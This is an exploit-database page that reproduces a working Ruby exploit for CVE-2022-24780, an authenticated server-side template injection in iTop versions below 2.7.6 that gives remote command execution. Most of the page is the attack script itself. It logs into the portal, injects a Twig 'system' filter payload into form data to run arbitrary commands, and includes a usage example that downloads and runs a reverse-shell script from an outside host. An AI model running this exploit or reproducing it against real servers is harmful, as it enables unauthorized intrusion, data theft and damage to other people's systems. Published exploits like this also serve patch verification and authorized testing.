Advertisement






iTop < 2.7.6 - (Authenticated) Remote command execution

CVE Category Price Severity
CVE-2022-24780 CWE-94 Not specified High
Author Risk Exploitation Type Date
Mohammed Alskaiti Critical Remote 2022-05-22
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022050075

Below is a copy:

iTop < 2.7.6 - (Authenticated) Remote command execution
#!/usr/bin/env ruby

# Exploit
## Title: iTop < 2.7.6 - (Authenticated) Remote command execution
## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
## Author website: https://pwn.by/noraj/
## Exploit source: https://github.com/Acceis/exploit-CVE-2022-24780
## Date: 2022-05-20
## Vendor Homepage: https://www.combodo.com/itop
## Software Link: https://github.com/Combodo/iTop/archive/refs/tags/2.7.5.tar.gz
## Version: 2.x < 2.7.6 and 3.x.x-beta < 3.0.0
## Tested on: iTop version 2.7.4 (Ubuntu 18.04.4 LTS - 7.3.28)

# Vulnerability
## Discoverer: Markus KRELL
## Date: 2021-10-04
## Discoverer website: https://markus-krell.de/
## Discovered on iTop 2.7.4-7194 and 3.0.0-beta-7312
## Title: Server-Side Template Injection inside customer Portal
## CVE: CVE-2022-24780
## CWE: CWE-94, CWE-1336
## Patch:
##   - https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b
##   - https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305
##   - https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3
## References:
##   - https://nvd.nist.gov/vuln/detail/CVE-2022-24780
##   - https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54
##   - https://markus-krell.de/itop-template-injection-inside-customer-portal/

require 'httpx'
require 'docopt'
require 'nokogiri'

doc = <<~DOCOPT
  iTop < 2.7.6 - (Authenticated) Remote command execution

  Usage:
    #{__FILE__} full <url> <username> <password> <cmd> [--debug]
    #{__FILE__} light <url> <username> <password> <cmd> [--debug]
    #{__FILE__} -h | --help

    full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
    light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function

  Options:
    <url>       Root URL (base path) including HTTP scheme, port and root folder
    <username>  iTop portal username
    <password>  iTop portal user password
    <cmd>       Command to execute on the target
    --debug     Display arguments
    -h, --help  Show this screen

  Examples:
    #{__FILE__} full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
    #{__FILE__} light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
DOCOPT


def login(root_url, user, pass, http)
  login_url = "#{root_url}/pages/UI.php"
  params = {
    'auth_user' => user,
    'auth_pwd' => pass,
    'login_mode' => 'form',
    'loginop' => 'login'
  }

  http.post(login_url, form: params).body.to_s
end

def login_watir(root_url, user, pass, browser)
  login_url = "#{root_url}/pages/UI.php"
  browser.goto login_url

  browser.text_field(id: 'user').set(user)
  browser.text_field(id: 'pwd').set(pass)

  browser.button(value: 'Enter iTop').click
end

def fetch_form(root_url, http)
  profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"

  # Fetch and parse HTML document
  doc = Nokogiri.HTML5(http.get(profile_url).body.to_s)
  action = doc.css('form').first['action']
  transaction_id = doc.css('input[name="transaction_id"]').first['value']
  form_id = doc.css('form').first['id']
  # doesn't work because it's populated with javascript, we'll need watir for that
  #phone = doc.css('input[id^=field_phone]').first['value']
  #location = doc.css('select[id^=field_location_id] option[selected]').first['value']
  #function = doc.css('input[id^=field_function]').first['value']
  return {action: action, tid: transaction_id, fid: form_id}
end

def exploit(root_url, cmd, http, browser)
  form_data = fetch_form(root_url, http)
  vuln_url = "#{root_url}#{form_data[:action]}"
  user_info = browser.nil? ? {phone: '', location: '', function: ''} : fetch_form_js(root_url, browser)
  params = {
    'operation' => 'submit',
    'stimulus_code' => '',
    'transaction_id' => form_data[:tid],
    # source data already escapes backslashes and double quotes for JSON
    # so \ -> \\ and " -> \"
    # but we need to esacpe backslash once for Ruby too because we need an interpolated string
    # so \ -> \\ -> \\\\ and " -> \\"
    'formmanager_class' => 'Combodo\iTop\Portal\Form\ObjectFormManager',
    'formmanager_data' => %Q^{"id":"#{form_data[:fid]}","transaction_id":"#{form_data[:tid]}","formmanager_class":"Combodo\\\\iTop\\\\Portal\\\\Form\\\\ObjectFormManager","formrenderer_class":"Combodo\\\\iTop\\\\Renderer\\\\Bootstrap\\\\BsFormRenderer","formrenderer_endpoint":"#{form_data[:action]}","formobject_class":"Person","formobject_id":"1","formmode":"edit","formactionrulestoken":"","formproperties":{"id":"default-user-profile","type":"custom_list","fields":[],"layout":{"type":"twig","content":"<!-- data-field-id attribute must be an attribute code of the class --><!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change --><div class=\\"form_field\\" data-field-id=\\"first_name{{['#{cmd}']|filter('system')}}\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"name\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"org_id\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"email\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"phone\\"></div><div class=\\"form_field\\" data-field-id=\\"location_id\\"></div><div class=\\"form_field\\" data-field-id=\\"function\\"></div><div class=\\"form_field\\" data-field-id=\\"manager_id\\" data-field-flags=\\"read_only\\"></div>"}}}^,
    'current_values[phone]' => user_info[:phone],
    'current_values[location_id]' => user_info[:location],
    'current_values[function]' => user_info[:function]
  }

  http.post(vuln_url, form: params).body.to_s
end

def fetch_form_js(root_url, browser)
  # those values can't be fetched with nokogiri alone sicne they are populated using javascript
  profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"
  browser.goto profile_url
  phone = browser.text_field(name: 'phone').value
  location = browser.select(name: 'location_id').selected_options.first.value
  function = browser.text_field(name: 'function').value

  return {phone: phone, location: location, function: function}
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  http = HTTPX.plugin(:cookies)
  login(args['<url>'], args['<username>'], args['<password>'], http)

  if args['full']
    require 'watir'
    require 'webdrivers'

    b = Watir::Browser.new :firefox
    login_watir(args['<url>'], args['<username>'], args['<password>'], b)
  elsif args['light']
    b = nil
  end

  exploit(args['<url>'], args['<cmd>'], http, b)
rescue Docopt::Exit => e
  puts e.message
end

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.